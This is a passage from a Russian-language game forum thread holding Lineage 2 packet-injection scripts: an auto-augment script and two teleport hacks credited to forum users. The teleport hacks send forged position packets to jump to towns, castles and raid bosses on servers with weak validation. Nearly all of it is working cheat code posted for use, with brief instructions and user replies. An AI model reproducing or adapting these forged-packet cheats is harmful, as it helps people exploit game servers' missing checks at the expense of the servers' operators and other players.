s:=s+'<tr><td>Gems='+inttostr(ColvoGems)+' (/'+inttostr(GemsAmount)+'='+inttostr(ColvoGems div GemsAmount)+')</td></tr>';
s:=s+'<tr><td>---</td></tr>';
if Item=0 then
s:=s+'<tr><td>No Weapon</td></tr>'
else if augid>0 then
s:=s+'<tr><td>Augmented ('+inttohex(augid)+')</td></tr>'
else
s:=s+'<tr><td>Not augmented</td></tr>';
buf:=hstr('0F 01 00 00 00');
WriteS('<html><body><br><table width=100%>'+s+'</table><br><br><br><br><br><br>'+
'"Social Yes" - Cancel Augment(if augmented) and Augment(if you have enough gems and LSs)<br>'+
'"Social No" - Show this help<br><br>'+
'Sometimes client dont get packet InventoryUpdate and you see "Not augment" when weapon is augmented.'+
' Simply press [Tab] twice or wear weapon.<br><br>'+
'(c) raid aka Mamy</body></html>');
// '(c) raid aka Mamy<br>'+strtohex(pck)+'</body></html>');
WriteD(0);
SendToClientEx(Name);
end;
procedure CreateItemBase;
var i,ss,j,ObjID,ItmID,ListCount,count,aug:integer;
begin
Item:=0;
ss:=1;
j:=4;
ListCount:=ReadH(j);
if ListCount>max then ListCount:=max;
j:=8;
for i:=1 to ListCount do begin
ObjID:=ReadD(j);
ItmID:=ReadD(j);
Count:=ReadD(j);
j:=j+14;
aug:=ReadD(j);
case ItmID of
LifeID: begin
LifeBase[ss]:=ObjID;
inc(ss);
end;
ItemID: begin
Item:=ObjID;
augid:=aug;
end;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
end;
j:=j+6;
end;
ColvoLife:=ss-1;
Say;
end;
procedure UpdateItemBase;
var i,ii,j,ObjID,ItmID,ListCount,Count,UpdType,aug: integer;
begin
ListCount:=ReadH(2);
j:=4;
for i:=1 to ListCount do begin
UpdType:=ReadH(j);
j:=j+2;
ObjID:=ReadD(j);
ItmID:=ReadD(j);
Count:=ReadD(j);
j:=j+14;
aug:=ReadD(j);
case UpdType of
1:case ItmID of
ItemID: begin
Item:=ObjID;
augid:=aug;
end;
LifeID: begin
for ii:=1 to max do
if LifeBase[ii]=0 then begin
LifeBase[ii]:=ObjID;
ColvoLife:=ColvoLife+1;
break;
end;
end;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
end;
2:case ItmID of
ItemID: begin
Item:=ObjID;
augid:=aug;
end;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
end;
3:case ItmID of
ItemID:
Item:=0;
GemsID: begin
Gems:=ObjID;
ColvoGems:=Count;
end;
LifeID: begin
for ii:=1 to max do
if LifeBase[ii]=ObjID then begin
LifeBase[ii]:=0;
ColvoLife:=ColvoLife-1;
end;
end;
end;
end;
j:=j+6;
end;
Say;
end;
function GetNextLife: integer;
var i:integer;
begin
Result:=-1;
for i:=1 to max do begin
if (LifeBase[i]<>0) then begin
Result:=LifeBase[i];
exit;
end;
end;
end;
procedure Augment;
begin
buf:=hstr('D0 29 00');
WriteD(Item);
SendToServerEx(Name);
delay(100);
buf:=hstr('D0 2A 00');
WriteD(Item);
WriteD(Life);
SendToServerEx(Name);
delay(100);
buf:=hstr('D0 2B 00');
WriteD(Item);
WriteD(Life);
WriteD(Gems);
WriteD(GemsAmount);
SendToServerEx(Name);
delay(100);
buf:=hstr('D0 2C 00');
WriteD(Item);
WriteD(Life);
WriteD(Gems);
WriteD(GemsAmount);
SendToServerEx(Name);
end;
procedure DisAugment;
begin
buf:=hstr('D0 2D 00');
WriteD(Item);
SendToServerEx(Name);
buf:=hstr('D0 2E 00');
WriteD(Item);
SendToServerEx(Name);
end;
begin
if pck='' then exit;
if FromClient and (ConnectName=Name) and (pck[1]=#$1B) then begin
SocialID:=ReadD(2);
pck:='';
case SocialID of
7: begin
buf:=hstr('A7 2A A0 00 00 80 84 1E 00 0A 00 00 00 00 00 00 00 00 00 00 00');
SendToServerEx(Name);
buf:=hstr('A7 29 A0 00 00 40 0D 03 00 FA 00 00 00 00 00 00 00 00 00 00');
SendToServerEx(Name);

exit;
end;
6: begin
if augid>0 then begin
DisAugment;
delay(300);
end;
Life:=GetNextLife;
if (Life=-1)or(ColvoGems<GemsAmount)or(ColvoLife<1) then
exit;
Augment;
exit;
end;
5: begin
Say;
exit;
end;
end;
end;
if FromServer then
case pck[1] of
#$1B: CreateItemBase;
#$27: UpdateItemBase;
end;
end.

Управление:
1. социальное действие "да" - вытащить и вставить ЛС
2. социальное действие "нет" - вызов справки.
3. для работы скрипта впишите нужные данные в начале скрипта (читаем примечание после каждой строки)

Примечание. В вашем инвентаре должна быть только одна пушка с таким же ID в которій вы хотите вставить скилл.

не откажусь от благодарности.
З.Ы. скорость вставки ЛС поражает:bl:

gos1k
12.06.2010, 23:28
Скрипт на тп , то место которое запомнили(для серверов с тупой гео) Тестил на Interlude
Автор: pmen
Взято c сoderx.ru
var
// переменная
x:integer; y:integer;
a:integer; b:boolean; z:integer;
procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); x:=ReadD(6);
y:=ReadD(10); z:=ReadD(14);
SendMsc('Запомнен ObjectID = '+inttostr(a));
SendMsc('Запомнен x = '+inttostr(x));
SendMsc('Запомнен y = '+inttostr(y));
SendMsc('Запомнен z = '+inttostr(z));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6F 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
Writed(x);
Writed(y);
Writed(z);
SendToClient;
end;
end;
end.
Удобно Использовать вместе с скриптом на тп.Например ходить на твт(Сохранил точку где появился, тп в город за бафом и потом обратно на арену) .
как этим пользоваться пишет наведите на себя тарге я навожу пишет координаты а что дальше то?

necros555
13.06.2010, 05:10
как этим пользоваться пишет наведите на себя тарге я навожу пишет координаты а что дальше то?
попробуй этот тут себя в таргет береш и в чат пишеш город //.goddard с //этим или нет не помню попробуеш разберешся
//************************************************** ****************************
{version 0.2 By tiranous How to teleport self anywhere you want

1.check the script
2.target yourself
3.teleport to every location you want
4.use one active skill (common craft,heal,etc)
5.Tested in L2DeathWhisper,L2Core,L2Evo,l2gm,l2zer0
}
//************************************************** ****************************
//Towns
//
//.gludio
//.gludiowh
//.goddard
//.goddardwh
//.aden
//.adenwh
//.giran
//.giranwh
//.rune
//.oren
//.heine
//.dion
//.schuttgart
//.gludin
//.elventree
//.elvenwh
//.elven
//.darkelven
//.darkelvenwh
//.dwarven
//.dwarvenwh
//.orcvillage
//.orcvillagewh
//.talkingisle
//.floran
//.hunter
//.hunterwh
//
//Harbors
//
//.giranharbor
//.runeharbor
//
//Castles
//
//.adencastle
//.runecastle
//.goddardcastle
//.girancastle
//.orencastle
//.gludiocastle
//.dioncastle
//.schuttgartcastle
//.innadrilcastle
//
//Castle's Pray
//.giranpray
//.adenpray
//.runepray
//.orenpray
//.dionpray
//.gludiopray
//.innadrilpray
//.goddardpray1
//.goddardpray2
//.schuttgartpray1
//.schuttgartpray2
//
//Farm Places
//
//.dino
//.vos
//.varka
//.mos
//.ketra
//.hotsprings
//.imperialtomb
//.wallofargos
//.forgeofthegods
//.skarato
//.valleyofsaint
//.lostnest
//.blaizing
//.darkomens
//.aligaorisle
//.cruma
//
//Other Places
//
//.olympiad
//.olympiad2
//.dwarventower
//.dwarventower2
//.fieldofsilence
//.hideway
//.sea
//.mount
//.jail
//.adencrest
//.vodopad
//.coliseum
//.secretcastle
//.placetohide
//
//Raid Bosses
//Special Raid Bosses
//
//.qa
//.core
//.orfen
//.zaken
//.baium
//.benom
//.antharas
//.valakas
//.frintezza
//.tyrannosaurus1
//.tyrannosaurus2
//.tyrannosaurus3
//
//70-80 lvl rbs
//
//.varkarb1
//.varkarb2
//.varkarb3
//.ketrarb1
//.ketrarb2
//.ketrarb3
//.ember
//.galaxia
//.golkonda
//.giantglaki
//lowest lvl rbs
//
//.blaizingrb1
//.blaizingrb2
//.blaizingrb3
//.blaizingrb4
//.blaizingrb5
//.hallate
//.korim
//.kernon
//.rahha
//.gorgolos
//.verfa
//
//Noblesse Quest
//
//.talien
//.gabrielle
//.gilmore
//.baraham
//.melodymaestro
//.marluk
//.stedmiel
//.virgil
//.rahorakti
//.splinterstakato
//.caradine
//.noel
//.mdk
//.kalis
//.matild
//.unicorn
//.jp
//.noblrb
//.ladd

var
//
ValidatePosition:string; c:integer; e:integer; n:integer; r:boolean;
a:integer; b:boolean; d:integer; f:integer; v:integer;
procedure Init;
begin
SendMsc('Возьми себя в таргет!!!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('tiranous');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); c:=ReadD(6);
d:=ReadD(10); e:=ReadD(14);
f:=ReadC(18);
SendMsc('Запомнен ID Обьекта = '+inttostr(a));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 71 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C8 AB FF FF 17 C4 02 00 A6 E9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6F 00 72 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('61 45 00 00 5E B5 01 00 48 E6 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 66 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('32 D3 00 00 A6 42 00 00 5E EA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('71 D6 00 00 DF 57 03 00 67 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 69 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0E C2 01 00 D6 40 00 00 5D 27 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 65 00 6E 00 6F 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B8 2F 00 00 A0 3E FF FF 3F F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6E 00 74 00 68 00 61 00 72 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C D5 02 00 7A BE 01 00 E4 DF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 61 00 6B 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0D 46 03 00 C8 3D FE FF 9C F9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 72 00 69 00 6E 00 74 00 65 00 7A 00 7A 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A6 A8 02 00 8D A2 FE FF 0D EC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 79 00 72 00 61 00 6E 00 6E 00 6F 00 73 00 61 00 75 00 72 00 75 00 73 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('CF 4E 00 00 17 DD FF FF 2B F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 79 00 72 00 61 00 6E 00 6E 00 6F 00 73 00 61 00 75 00 72 00 75 00 73 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F3 59 00 00 B5 C5 FF FF 0D F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 79 00 72 00 61 00 6E 00 6E 00 6F 00 73 00 61 00 75 00 72 00 75 00 73 00 33 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7E 67 00 00 49 BD FF FF 51 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 72 00 62 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3F C4 01 00 23 67 FF FF 6A F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 72 00 62 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('56 A9 01 00 DA 73 FF FF 9B FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 72 00 62 00 33 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7C 9D 01 00 66 59 FF FF 31 F9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 72 00 62 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('42 43 02 00 0A DD FE FF DB EC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 72 00 62 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FA 39 02 00 72 C0 FE FF 8D E8 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 72 00 62 00 33 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C 37 02 00 F9 B3 FE FF AD E7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6D 00 62 00 65 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A2 D1 02 00 8A 61 FE FF 5A E7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 61 00 6C 00 61 00 78 00 69 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('EB BC 01 00 E1 3B 00 00 5D 25 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 6C 00 6B 00 6F 00 6E 00 64 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('04 C7 01 00 13 3E 00 00 55 1B 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('19 59 02 00 55 C7 FF FF 91 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('76 65 02 00 25 E8 FF FF BF EF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 33 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('69 3E 02 00 19 AF FF FF 93 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 34 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DC 19 02 00 20 B4 FF FF 0B F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 72 00 62 00 35 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('4E 35 02 00 BE 92 FF FF 74 F8 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 6C 00 6C 00 61 00 74 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3E BB 01 00 9C 41 00 00 B1 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 6F 00 72 00 69 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('07 C7 01 00 F6 3E 00 00 9B 07 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 72 00 6E 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9F BB 01 00 8B 41 00 00 7F 0F 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 61 00 6E 00 74 00 67 00 6C 00 61 00 6B 00 69 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 A0 02 00 0F D7 00 00 D6 E8 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 61 00 68 00 68 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3F CB 01 00 1B DC FF FF 44 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 72 00 67 00 6F 00 6C 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 D6 02 00 11 F0 00 00 C5 EF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 65 00 72 00 66 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C5 EA 01 00 CD 69 00 00 D4 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('CE 41 02 00 0E 28 FF FF 57 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3B 02 00 B0 64 00 00 23 F8 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 43 01 00 9E 44 02 00 74 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('2A AB 00 00 7E 45 FF FF E7 FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('11 28 00 00 12 40 FF FF ED FE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 3F 02 00 2C 12 00 00 B1 FE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('04 40 02 00 6E 43 FF FF 21 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1B C7 01 00 C7 36 02 00 02 F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 42 01 00 45 91 00 00 13 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('40 B9 FF FF 65 AB 01 00 45 F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A 56 00 00 60 72 02 00 83 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E0 2E 01 00 31 A9 FD FF 80 FE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('39 C5 01 00 09 CD 03 00 F2 FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 61 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E2 40 FE FF ED 30 FC FF 5B F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('91 41 01 00 63 D7 00 00 0C FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0B B2 01 00 89 57 03 00 2A F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3C 49 00 00 1D 38 02 00 C9 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3E 55 01 00 62 D5 FD FF C8 FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 BB FE FF 07 4D 02 00 C8 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6E 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E4 28 00 00 07 A0 FF FF C3 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 72 00 65 00 73 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FF 41 02 00 A5 0F 00 00 FC 11 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 64 00 6F 00 70 00 61 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('12 A9 02 00 93 62 01 00 33 07 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D6 18 01 00 39 96 FE FF 74 FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('59 EA 01 00 18 60 FF FF 79 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9D 9F 01 00 0E A9 FE FF 9D F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 3E 02 00 C4 F8 FE FF B9 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6F 00 6C 00 69 00 73 00 65 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('46 4A 02 00 8D B6 00 00 B1 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 71 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('96 AB FF FF 5A C5 02 00 9F E9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('10 D8 00 00 20 58 03 00 6E F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 69 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0D C2 01 00 EF 40 00 00 65 27 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6E 00 74 00 68 00 61 00 72 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C D5 02 00 7A BE 01 00 E8 DF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 61 00 6B 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('88 43 03 00 14 3D FE FF 99 F9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 72 00 69 00 6E 00 74 00 65 00 7A 00 7A 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9E A8 02 00 44 A2 FE FF BD EB FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 61 00 6C 00 69 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 41 02 00 FA 66 00 00 A4 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 61 00 62 00 72 00 69 00 65 00 6C 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3D 01 00 CF 48 02 00 74 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 6C 00 6D 00 6F 00 72 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 1D 01 00 DD CE 01 00 92 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 72 00 61 00 68 00 61 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 53 00 00 70 D0 02 00 F5 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 65 00 6C 00 6F 00 64 00 79 00 6D 00 61 00 65 00 73 00 74 00 72 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DC A1 01 00 8D 4F 03 00 F5 F1 FF FF');
SendToClient;
end;
end;
